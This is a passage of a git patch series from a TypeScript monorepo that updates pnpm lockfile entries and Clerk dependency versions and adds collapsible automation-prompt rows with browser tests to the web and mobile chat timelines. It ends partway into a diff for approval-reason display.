'@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@6.0.3))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)' transitivePeerDependencies: - '@arethetypeswrong/core' - - '@astrojs/compiler-rs' - - '@edge-runtime/vm' - - '@opentelemetry/api' - '@types/node' - '@typescript/native-preview' - '@vitejs/devtools' - - '@vitest/coverage-istanbul' - - '@vitest/coverage-v8' - - '@vitest/ui' - '@volar/typescript' - '@vue/language-core' - - bufferutil - esbuild - - happy-dom - jiti - - jsdom - less - - msw - publint - sass - sass-embedded - stylus - sugarss - - svelte - terser - tsx - typescript - unplugin-unused - unrun - - utf-8-validate - vue-tsc - yaml - vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0): - dependencies: - lightningcss: 1.33.0 - picomatch: 4.0.7 - postcss: 8.5.30 - rolldown: 1.2.13 - tinyglobby: 0.2.17 - optionalDependencies: - '@types/node': 24.12.4 - esbuild: 0.28.2 - fsevents: 2.3.3 - jiti: 2.7.0 - terser: 5.48.0 - yaml: 2.9.0 - optional: true - - vitefu@1.1.3(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)): - optionalDependencies: - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@6.0.3)(unrun@0.2.39)(yaml@2.9.0)' - - vitest@5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)): + vitest@5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5)(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)): dependencies: '@types/chai': 5.2.3 - '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) + '@vitest/mocker': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2)) chai: 6.3.0 es-module-lexer: 2.3.2 expect-type: 1.4.0 @@ -23311,84 +22870,59 @@ snapshots: tinybench: 6.2.2 tinyexec: 1.3.1 tinyglobby: 0.2.17 - vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' + vite: '@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0)' why-is-node-running: 3.2.1 optionalDependencies: '@types/node': 24.12.4 - '@vitest/browser-playwright': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) - '@vitest/browser-preview': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) + '@vitest/browser-playwright': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vitest@5.0.5) + '@vitest/browser-preview': 5.0.5(@voidzero-dev/vite-plus-core@1.3.0(@types/node@24.12.4)(@volar/typescript@2.4.28(typescript@7.0.2))(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(typescript@7.0.2)(unrun@0.2.39)(yaml@2.9.0))(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vitest@5.0.5) '@vitest/ui': 5.0.5(vitest@5.0.5) jsdom: 30.1.0(@noble/hashes@1.8.0) transitivePeerDependencies: - msw - vitest@5.0.5(@types/node@24.12.4)(@vitest/browser-playwright@5.0.5)(@vitest/browser-preview@5.0.5)(@vitest/ui@5.0.5(vitest@5.0.5))(jsdom@30.1.0(@noble/hashes@1.8.0))(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)): - dependencies: - '@types/chai': 5.2.3 - '@vitest/mocker': 5.0.5(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0)) - chai: 6.3.0 - es-module-lexer: 2.3.2 - expect-type: 1.4.0 - magic-string: 1.4.3 - obug: 3.0.0 - picomatch: 4.0.7 - std-env: 4.3.0 - tinybench: 6.2.2 - tinyexec: 1.3.1 - tinyglobby: 0.2.17 - vite: 8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0) - why-is-node-running: 3.2.1 - optionalDependencies: - '@types/node': 24.12.4 - '@vitest/browser-playwright': 5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(playwright@1.60.0)(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5) - '@vitest/browser-preview': 5.0.5(bufferutil@4.1.0)(msw@2.12.11(@types/node@24.12.4)(typescript@7.0.2))(utf-8-validate@6.0.6)(vite@8.3.4(@types/node@24.12.4)(esbuild@0.28.2)(jiti@2.7.0)(terser@5.48.0)(yaml@2.9.0))(vitest@5.0.5) - '@vitest/ui': 5.0.5(vitest@5.0.5) - jsdom: 30.1.0(@noble/hashes@1.8.0) - transitivePeerDependencies: - - msw - optional: true - vlq@1.0.1: {} - volar-service-css@0.0.70(@volar/language-service@2.4.28): + volar-service-css@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)): dependencies: vscode-css-languageservice: 6.3.10 vscode-languageserver-textdocument: 1.0.12 vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) - volar-service-emmet@0.0.70(@volar/language-service@2.4.28): + volar-service-emmet@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)): dependencies: '@emmetio/css-parser': 0.4.1 '@emmetio/html-matcher': 1.3.0 '@vscode/emmet-helper': 2.11.0 vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) - volar-service-html@0.0.70(@volar/language-service@2.4.28): + volar-service-html@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)): dependencies: vscode-html-languageservice: 5.6.2 vscode-languageserver-textdocument: 1.0.12 vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) - volar-service-prettier@0.0.70(@volar/language-service@2.4.28)(prettier@3.8.3): + volar-service-prettier@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(prettier@3.8.3): dependencies: vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) prettier: 3.8.3 - volar-service-typescript-twoslash-queries@0.0.70(@volar/language-service@2.4.28): + volar-service-typescript-twoslash-queries@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(typescript@6.0.3): dependencies: vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) + typescript: 6.0.3 - volar-service-typescript@0.0.70(@volar/language-service@2.4.28): + volar-service-typescript@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3))(typescript@6.0.3): dependencies: path-browserify: 1.0.1 semver: 7.8.5 @@ -23397,14 +22931,15 @@ snapshots: vscode-nls: 5.2.0 vscode-uri: 3.1.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) + typescript: 6.0.3 - volar-service-yaml@0.0.70(@volar/language-service@2.4.28): + volar-service-yaml@0.0.70(@volar/language-service@2.4.28(typescript@6.0.3)): dependencies: vscode-uri: 3.1.0 yaml-language-server: 1.20.0 optionalDependencies: - '@volar/language-service': 2.4.28 + '@volar/language-service': 2.4.28(typescript@6.0.3) vscode-css-languageservice@6.3.10: dependencies: diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 33e4ddc9efc7..2bc5c4759320 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -30,12 +30,12 @@ allowBuilds: catalog: "@clerk/backend": 3.25.0 - "@clerk/clerk-js": 6.39.1 - "@clerk/electron": 0.1.1 + "@clerk/clerk-js": 6.40.0 + "@clerk/electron": 0.1.3 "@clerk/electron-passkeys": 0.0.3 "@clerk/expo": 4.13.0 - "@clerk/react": 6.17.8 - "@clerk/shared": 4.40.0 + "@clerk/react": 6.18.0 + "@clerk/shared": 4.41.0 # Must match the version alchemy depends on: the relay overrides its # Cloudflare retry policy through this package's Retry service. "@distilled.cloud/cloudflare": 1.0.0-rc.13 @@ -98,12 +98,12 @@ minimumReleaseAgeExclude: - expo-blur@58.0.4 - expo-audio@58.0.9 - "@clerk/backend@3.25.0" - - "@clerk/clerk-js@6.39.1" - - "@clerk/electron@0.1.1" + - "@clerk/clerk-js@6.40.0" + - "@clerk/electron@0.1.3" - "@clerk/expo-native-components@0.2.0" - "@clerk/expo@4.13.0" - - "@clerk/react@6.17.8" - - "@clerk/shared@4.40.0" + - "@clerk/react@6.18.0" + - "@clerk/shared@4.41.0" - "@distilled.cloud/aws@1.0.0-rc.13" - "@distilled.cloud/axiom@1.0.0-rc.13" - "@distilled.cloud/cloudflare@1.0.0-rc.13" @@ -333,7 +333,6 @@ patchedDependencies: alchemy@2.0.0-beta.80: patches/alchemy@2.0.0-beta.80.patch expo-audio@58.0.9: patches/expo-audio@58.0.9.patch expo-network@58.0.3: patches/expo-network@58.0.3.patch - "@clerk/electron@0.1.1": patches/@clerk__electron@0.1.1.patch "@clerk/expo-native-components@0.2.0": patches/@clerk__expo-native-components@0.2.0.patch "@effect/vitest@4.0.5": patches/@effect__vitest@4.0.5.patch "@expo/metro-config@58.0.14": patches/@expo__metro-config@58.0.14.patch From d27c6067a9162150f654e38f455a7a936ef79178 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 12:25:52 -0700 Subject: [PATCH 020/130] feat: show automation messages as compact timeline rows (#22638) Co-authored-by: Claude Opus 5.5 --- apps/mobile/src/components/ui/AppSymbol.tsx | 2 + .../src/features/threads/ThreadFeed.tsx | 157 +++++++++++++++- .../chat/MessagesTimeline.browser.test.tsx | 109 ++++++++++- .../chat/TimelineUserMessageRow.tsx | 172 ++++++++++++++---- 4 files changed, 397 insertions(+), 43 deletions(-) diff --git a/apps/mobile/src/components/ui/AppSymbol.tsx b/apps/mobile/src/components/ui/AppSymbol.tsx index 7e5e95da3beb..16a0f55d0a7f 100644 --- a/apps/mobile/src/components/ui/AppSymbol.tsx +++ b/apps/mobile/src/components/ui/AppSymbol.tsx @@ -9,6 +9,7 @@ import IconAlertCircle from "@tabler/icons-react-native/IconAlertCircle"; import IconAlertTriangle from "@tabler/icons-react-native/IconAlertTriangle"; import IconApps from "@tabler/icons-react-native/IconApps"; import IconArchive from "@tabler/icons-react-native/IconArchive"; +import IconCalendarClock from "@tabler/icons-react-native/IconCalendarClock"; import IconArrowBackUp from "@tabler/icons-react-native/IconArrowBackUp"; import IconArrowDown from "@tabler/icons-react-native/IconArrowDown"; import IconArrowForwardUp from "@tabler/icons-react-native/IconArrowForwardUp"; @@ -178,6 +179,7 @@ const ANDROID_ICON_BY_SF_SYMBOL = { "circle.dashed": IconCircleDashed, "circle.inset.filled": IconCircleDot, "circle.dashed.inset.filled": IconCircleDot, + "calendar.badge.clock": IconCalendarClock, clock: IconClock, timer: IconClock, ticket: IconTicket, diff --git a/apps/mobile/src/features/threads/ThreadFeed.tsx b/apps/mobile/src/features/threads/ThreadFeed.tsx index 77729684a792..8c07123dd3ae 100644 --- a/apps/mobile/src/features/threads/ThreadFeed.tsx +++ b/apps/mobile/src/features/threads/ThreadFeed.tsx @@ -40,6 +40,7 @@ import { type MessageId, type OrchestrationV2ProjectedTurnItem, type RunId, + type ScheduledTaskId, } from "@t3tools/contracts"; import { renderAssistantCitationsAsText } from "@t3tools/shared/assistantCitations"; import { encodeComposerContextFragment } from "@t3tools/shared/composerContextClipboard"; @@ -236,6 +237,8 @@ import { } from "@t3tools/client-runtime/workspace-basename-lookup"; import { useLiveThreadLinkLabels } from "../../state/entities"; import { useThreadSelection } from "../../state/use-thread-selection"; +import { useEnvironmentQuery } from "../../state/query"; +import { serverEnvironment } from "../../state/server"; import { composerDocumentAttachmentRecord } from "../../lib/composerContext"; import * as Option from "effect/Option"; import { appAtomRegistry } from "../../state/atom-registry"; @@ -983,6 +986,125 @@ function AgentMessageAttribution(props: { ); } +/** Automation prompts are long, repeated runbooks; a folded bubble keeps them out of the way. */ +function ThreadAutomationMessageRow(props: { + readonly environmentId: EnvironmentId; + readonly text: string; + readonly context?: OrchestrationMessageContext; + readonly scheduledTaskId: ScheduledTaskId | undefined; + readonly timestampLabel: string; + readonly expanded: boolean; + readonly onToggle: () => void; + readonly bubbleColor: ColorValue; + readonly bubbleMaxWidth: number | "85%"; + readonly contentMaxWidth: number; + readonly iconSubtleColor: ColorValue; + readonly markdownStyles: MarkdownStyleSet; + readonly reviewCommentColors: ReviewCommentColors; + readonly skills?: ReadonlyArray; + readonly linkHandlers: MarkdownLinkHandlers; + readonly renderImage: MarkdownImageRenderer; +}) { + const navigation = useNavigation(); + const tasks = useEnvironmentQuery( + props.scheduledTaskId + ? serverEnvironment.scheduledTasksLive({ environmentId: props.environmentId, input: {} }) + : null, + ); + const taskTitle = tasks.data?.tasks.find((task) => task.id === props.scheduledTaskId)?.title; + const summary = taskTitle ?? props.text.trim().split(/\r?\n/, 1)[0] ?? ""; + + return ( + + + { + void Haptics.selectionAsync(); + props.onToggle(); + }} + > + + + Automation + + + {summary} + + + + {props.expanded ? ( + + + + + + ) : null} + + {props.expanded ? ( + + {props.scheduledTaskId ? ( + + navigation.navigate("SettingsSheet", { + screen: "SettingsContent", + params: { screen: "SettingsScheduledTasks" }, + }) + } + > + + Open automation + + + ) : null} + + {props.timestampLabel} + + + + ) : null} + + ); +} + function renderFeedEntry( info: { item: PendingThreadFeedEntry; index: number }, props: Pick< @@ -1200,6 +1322,29 @@ function renderFeedEntry( /> ); } + if (isUser && presentation.attribution === "automation") { + const rowId = `automation:${message.id}`; + return ( + props.onToggleWorkRow(rowId, entry.id)} + bubbleColor={userBubbleColor} + bubbleMaxWidth={props.duoColumns ? "85%" : props.userBubbleMaxWidth} + contentMaxWidth={props.userBubbleMaxWidth - USER_BUBBLE_HORIZONTAL_PADDING * 2} + iconSubtleColor={iconSubtleColor} + markdownStyles={markdownStyles.user} + reviewCommentColors={props.reviewCommentColors} + skills={props.skills} + linkHandlers={props.markdownLinkHandlers} + renderImage={props.renderMarkdownImage} + /> + ); + } if (isUser) { const enterAnimated = isFreshTimestamp(message.createdAt); const intentBadge = resolveUserMessageIntentBadge(message.inputIntent); @@ -1221,11 +1366,7 @@ function renderFeedEntry( className="mb-5 items-end" {...(enterAnimated ? { entering: FadeInUp.duration(220) } : {})} > - {presentation.attribution === "automation" ? ( - - Sent by automation - - ) : presentation.attribution === "t3code" ? ( + {presentation.attribution === "t3code" ? ( Sent by T3 Code @@ -2739,7 +2880,11 @@ export const ThreadFeed = memo(function ThreadFeed(props: ThreadFeedProps) { viewabilityConfig={THREAD_MEDIA_VIEWABILITY_CONFIG} keyExtractor={(entry) => entry.id} getItemType={(entry) => - entry.type === "message" ? `message:${entry.message.role}` : entry.type + entry.type !== "message" + ? entry.type + : resolveUserMessagePresentation(entry.message).attribution === "automation" + ? "message:automation" + : `message:${entry.message.role}` } getFixedItemSize={getFixedItemSize} // Virtualized rows must move with their measurements. Native layout diff --git a/apps/web/src/components/chat/MessagesTimeline.browser.test.tsx b/apps/web/src/components/chat/MessagesTimeline.browser.test.tsx index ddf8d87049fa..bc04aeeb4d50 100644 --- a/apps/web/src/components/chat/MessagesTimeline.browser.test.tsx +++ b/apps/web/src/components/chat/MessagesTimeline.browser.test.tsx @@ -1,4 +1,4 @@ -import { EnvironmentId, MessageId } from "@t3tools/contracts"; +import { EnvironmentId, MessageId, RunId, ScheduledTaskId } from "@t3tools/contracts"; import type { LegendListRef } from "@legendapp/list/react"; import { createRef, type ComponentProps, type ReactElement } from "react"; import { describe, expect, it, vi } from "vite-plus/test"; @@ -9,14 +9,18 @@ import { act, render } from "../../../test/render"; import { MessagesTimeline } from "./MessagesTimeline"; import { remarkThoughtPreview } from "./TimelineWorkEntryRow.logic"; import { parseMarkdownWithMath } from "@t3tools/shared/markdownMath"; +import { collectThreadFindRanges } from "./threadFindHighlights"; -const pullRequestQuery = vi.hoisted(() => ({ error: "Pull request not found" })); +const environmentQuery = vi.hoisted(() => ({ + error: "Pull request not found", + data: null as unknown, +})); vi.mock(import("~/state/query"), async (original) => ({ ...(await original()), useEnvironmentQuery: (() => ({ - data: null, + data: environmentQuery.data, dataUpdatedAt: 0, - error: pullRequestQuery.error, + error: environmentQuery.error, failure: null, isPending: false, isSuccess: false, @@ -117,6 +121,13 @@ async function click(element: HTMLElement) { await act(async () => element.click()); } +function setup({ scheduledTasks = [] as ReadonlyArray<{ id: string; title: string }> } = {}) { + environmentQuery.data = { tasks: scheduledTasks }; +} + +const TASK_ID = ScheduledTaskId.make("task-1"); +const AUTOMATION_PROMPT = "Triage the inbox\n\nLabel every new issue and close duplicates."; + describe("MessagesTimeline messages", () => { it("preserves XML-like tags and comparisons in user messages as text", async () => { const source = [ @@ -164,6 +175,96 @@ describe("MessagesTimeline messages", () => { }); }); +describe("MessagesTimeline automation prompts", () => { + it("folds an automation prompt into a bubble titled by its task", async () => { + setup({ scheduledTasks: [{ id: TASK_ID, title: "Nightly triage" }] }); + await using screen = await renderTimeline([ + message(AUTOMATION_PROMPT, { scheduledTaskId: TASK_ID }), + ]); + const row = screen.button(/^Automation/); + expect(row.textContent).toContain("Nightly triage"); + expect(row.getAttribute("aria-expanded")).toBe("false"); + expect(screen.text()).not.toContain("close duplicates"); + + await click(row); + expect(screen.text()).toContain("Label every new issue and close duplicates."); + const link = [...screen.container.querySelectorAll("a")].find( + (anchor) => anchor.textContent === "Open automation", + ); + expect(link?.getAttribute("href")).toContain(`taskId=${TASK_ID}`); + expect(screen.buttons(/copy/i)).not.toHaveLength(0); + }); + + it("falls back to the prompt's first line without a task title", async () => { + setup(); + await using screen = await renderTimeline([ + message(AUTOMATION_PROMPT, { scheduledTaskId: TASK_ID }), + ]); + expect(screen.button(/^Automation/).textContent).toContain("Triage the inbox"); + }); + + it("leaves ordinary user messages as full bubbles", async () => { + setup(); + await using screen = await renderTimeline([message(AUTOMATION_PROMPT)]); + expect(screen.buttons(/^Automation/)).toHaveLength(0); + expect(screen.text()).toContain("Label every new issue and close duplicates."); + }); + + it("reveals a find match beyond the folded automation prompt's initial viewport", async () => { + setup(); + const prompt = `${"Inspect the next item.\n\n".repeat(16)}Close duplicates.`; + await using screen = await renderTimeline([message(prompt, { scheduledTaskId: TASK_ID })], { + findExpanded: true, + findQuery: "duplicates", + activeFindMatch: { entryId: "entry-message-1", runId: null, occurrence: 0 }, + }); + await vi.waitFor(() => + expect(screen.button(/^Automation/).getAttribute("aria-expanded")).toBe("true"), + ); + const { range } = collectThreadFindRanges(screen.container, "duplicates")[0]!; + const details = screen.container.querySelector("[data-thread-find-text]")!; + expect(range.getBoundingClientRect().top - details.getBoundingClientRect().top).toBeGreaterThan( + 384, + ); + expect(range.getBoundingClientRect().bottom).toBeLessThanOrEqual( + details.getBoundingClientRect().bottom, + ); + }); + + it("shows edit-from-here once an automation prompt is expanded", async () => { + setup(); + const runId = RunId.make("run-1"); + await using screen = await renderTimeline( + [ + message( + AUTOMATION_PROMPT, + { scheduledTaskId: TASK_ID, runId, inputIntent: "turn_start" }, + "user-1", + ), + message("Done", { role: "assistant", runId }, "assistant-1"), + ], + { + supportsConversationRollback: true, + threadStartCheckpointReady: true, + turnDiffSummaries: [ + { + runId, + checkpointTurnCount: 1, + checkpointRef: "checkpoint-1" as never, + status: "ready", + files: [], + assistantMessageId: MessageId.make("assistant-1"), + completedAt: CREATED_AT, + }, + ], + }, + ); + expect(screen.buttons("Edit from here")).toHaveLength(0); + await click(screen.button(/^Automation/)); + expect(screen.buttons("Edit from here")).toHaveLength(1); + }); +}); + describe("compact reasoning math", () => { it("keeps formulas while flattening compact reasoning previews", () => { const tree = parseMarkdownWithMath("## Reasoning\n\nUse **norm** $|x|$ and \\[x^2\\]"); diff --git a/apps/web/src/components/chat/TimelineUserMessageRow.tsx b/apps/web/src/components/chat/TimelineUserMessageRow.tsx index 388562ef25ea..2f2f2063a412 100644 --- a/apps/web/src/components/chat/TimelineUserMessageRow.tsx +++ b/apps/web/src/components/chat/TimelineUserMessageRow.tsx @@ -2,6 +2,8 @@ import { findRevealRef } from "./markdownFindContext"; import { type MessageId, type ServerProviderSkill, ThreadId } from "@t3tools/contracts"; import { resolveUserMessagePresentation } from "@t3tools/client-runtime/user-message"; import { Link } from "@tanstack/react-router"; +import { useEnvironmentQuery } from "../../state/query"; +import { serverEnvironment } from "../../state/server"; import { replaceComposerContextReferences } from "@t3tools/shared/composerContextReferences"; import { memo, use, useState, type ReactNode } from "react"; import { @@ -15,7 +17,14 @@ import { isVideoAttachment, } from "../../types"; import ChatMarkdown from "../ChatMarkdown"; -import { DownloadIcon, EyeIcon, Redo2Icon, Undo2Icon } from "lucide-react"; +import { + CalendarClockIcon, + ChevronDownIcon, + DownloadIcon, + EyeIcon, + Redo2Icon, + Undo2Icon, +} from "lucide-react"; import { Link as LinkIconNode } from "lucide"; import { Button, InlineButton } from "../ui/button"; import { useAssetUrlRefresh, useAssetUrls, useAssetUrlState } from "../../assets/assetUrls"; @@ -52,7 +61,11 @@ import { cn } from "~/lib/utils"; import { formatChatTimestampTooltip, formatDayAwareTimestamp } from "../../timestampFormat"; import { WorkflowOpeningBlock } from "./WorkflowOpeningBlock"; import { TimelineRowCtx, TimelineRowActivityCtx, type TimelineRow } from "./timelineRowContext"; -import { MESSAGE_HEADING_LEVEL, MessageAuthorHeading } from "./TimelineRowParts"; +import { + MESSAGE_HEADING_LEVEL, + MessageAuthorHeading, + TimelineRowTimestamp, +} from "./TimelineRowParts"; import { UserMessageContextReferenceChip } from "./UserMessageContextChips"; import { resolvePreviewAnnotationImage } from "./TimelineUserMessageRow.logic"; @@ -108,11 +121,133 @@ export function UserMessageRow({ row }: { row: Extract ctx.onOpenThread(ThreadId.make(threadId))} /> + ) : resolveUserMessagePresentation(row.message).attribution === "automation" ? ( + ) : ( ); } +/** Automation prompts are long, repeated runbooks; a folded bubble keeps them out of the way. */ +function AutomationMessageRow({ row }: { row: Extract }) { + const ctx = use(TimelineRowCtx); + const [expanded, setExpanded] = useState(false); + const revealRef = findRevealRef(() => setExpanded(true)); + const { text, scheduledTaskId } = resolveUserMessagePresentation(row.message); + const tasksQuery = useEnvironmentQuery( + scheduledTaskId + ? serverEnvironment.scheduledTasksLive({ + environmentId: ctx.activeThreadEnvironmentId, + input: {}, + }) + : null, + ); + const taskTitle = tasksQuery.data?.tasks.find((task) => task.id === scheduledTaskId)?.title; + const summary = taskTitle ?? text.trim().split(/\r?\n/, 1)[0] ?? ""; + + const revertTurnCount = row.revertTurnCount; + const promptLink = promptLinkFor(text); + // Find reads the DOM, so a folded prompt stays mounted but hidden while find is open. + const bodyMounted = expanded || ctx.findActive; + + return ( +
+ {row.message.inputIntent === "steer" || + row.message.inputIntent === "promoted_queued_to_steer" ? ( + + ) : null} +
+ + {bodyMounted ? ( + // `beforematch` does not bubble, so the reveal listener sits on the hidden fold itself. + + ) : null} +
+ + {expanded ? ( +
+
+ {scheduledTaskId ? ( + + Open automation + + ) : null} + +
+ {typeof revertTurnCount === "number" && ( + + )} + + {promptLink !== null && ( + + )} +
+
+
+ ) : null} +
+ ); +} + +function UserMessageProjectedStatus({ row }: { row: Extract }) { + const status = row.projectedItem?.item.status; + if ( + status === undefined || + status === "completed" || + status === "pending" || + status === "waiting" + ) + return null; + return ( +
+ + {status} + +
+ ); +} + function UserTimelineRow({ row }: { row: Extract }) { const ctx = use(TimelineRowCtx); const { onImageExpand, onFileOpen } = ctx; @@ -245,27 +380,7 @@ function UserTimelineRow({ row }: { row: Extract - {userMessage.attribution === "automation" ? ( -

- {userMessage.scheduledTaskId ? ( - - Sent by automation - - ) : ( - "Sent by automation" - )} -

- ) : userMessage.attribution === "t3code" ? ( + {userMessage.attribution === "t3code" ? (

- {row.projectedItem && - row.projectedItem.item.status !== "completed" && - row.projectedItem.item.status !== "pending" && - row.projectedItem.item.status !== "waiting" ? ( -

- - {row.projectedItem.item.status} - -
- ) : null} +
From e74924538705d774e2e1c56616485351d33d38db Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 12:45:32 -0700 Subject: [PATCH 021/130] feat(server,web,mobile): approvals in full access say why Claude asked (#22546) Co-authored-by: Claude Opus 5.5 --- .../features/threads/PendingApprovalCard.tsx | 29 ++++++++++- apps/server/src/mcp/OrchestratorMcpService.ts | 4 +- .../Adapters/ClaudeAdapterV2.test.ts | 41 ++++++++++++++++ .../Adapters/ClaudeAdapterV2.ts | 49 +++++++++++++++++++ .../src/components/chat/ComposerBanner.tsx | 17 ++++--- .../chat/ComposerPendingApprovalPanel.tsx | 28 +++++++++++ .../src/state/threadRequests.ts | 17 +++++++ packages/contracts/src/orchestrationV2.ts | 5 ++ packages/contracts/src/providerPolicy.ts | 5 ++ 9 files changed, 187 insertions(+), 8 deletions(-) diff --git a/apps/mobile/src/features/threads/PendingApprovalCard.tsx b/apps/mobile/src/features/threads/PendingApprovalCard.tsx index 3037ee422bdd..b5a9d4ed27eb 100644 --- a/apps/mobile/src/features/threads/PendingApprovalCard.tsx +++ b/apps/mobile/src/features/threads/PendingApprovalCard.tsx @@ -4,7 +4,12 @@ import type { ProviderApprovalOption, RuntimeRequestId, } from "@t3tools/contracts"; -import { View } from "react-native"; +import { + FULL_ACCESS_OVERRIDE_QUESTION, + fullAccessOverrideExplanation, +} from "@t3tools/client-runtime/state/thread-requests"; +import { useState } from "react"; +import { Pressable, View } from "react-native"; import { AppText as Text } from "../../components/ui/AppText"; import type { PendingApproval } from "../../lib/threadActivity"; @@ -31,6 +36,7 @@ export function PendingApprovalCard(props: PendingApprovalCardProps) { const warning = options.find((option) => option.warning)?.warning; const canRespond = props.approval.responseCapability === "live"; const disabled = !canRespond || props.respondingApprovalId === props.approval.requestId; + const [explanationOpen, setExplanationOpen] = useState(false); return ( @@ -44,6 +50,27 @@ export function PendingApprovalCard(props: PendingApprovalCardProps) { {props.approval.detail} ) : null} + {props.approval.reason ? ( + + {props.approval.reason} + + ) : null} + {props.approval.fullAccessOverride ? ( + setExplanationOpen((open) => !open)} + > + + {FULL_ACCESS_OVERRIDE_QUESTION} + + {explanationOpen ? ( + + {fullAccessOverrideExplanation(props.approval.fullAccessOverride)} + + ) : null} + + ) : null} {!canRespond ? ( The provider process for this request is no longer available. Interrupt or restart the run diff --git 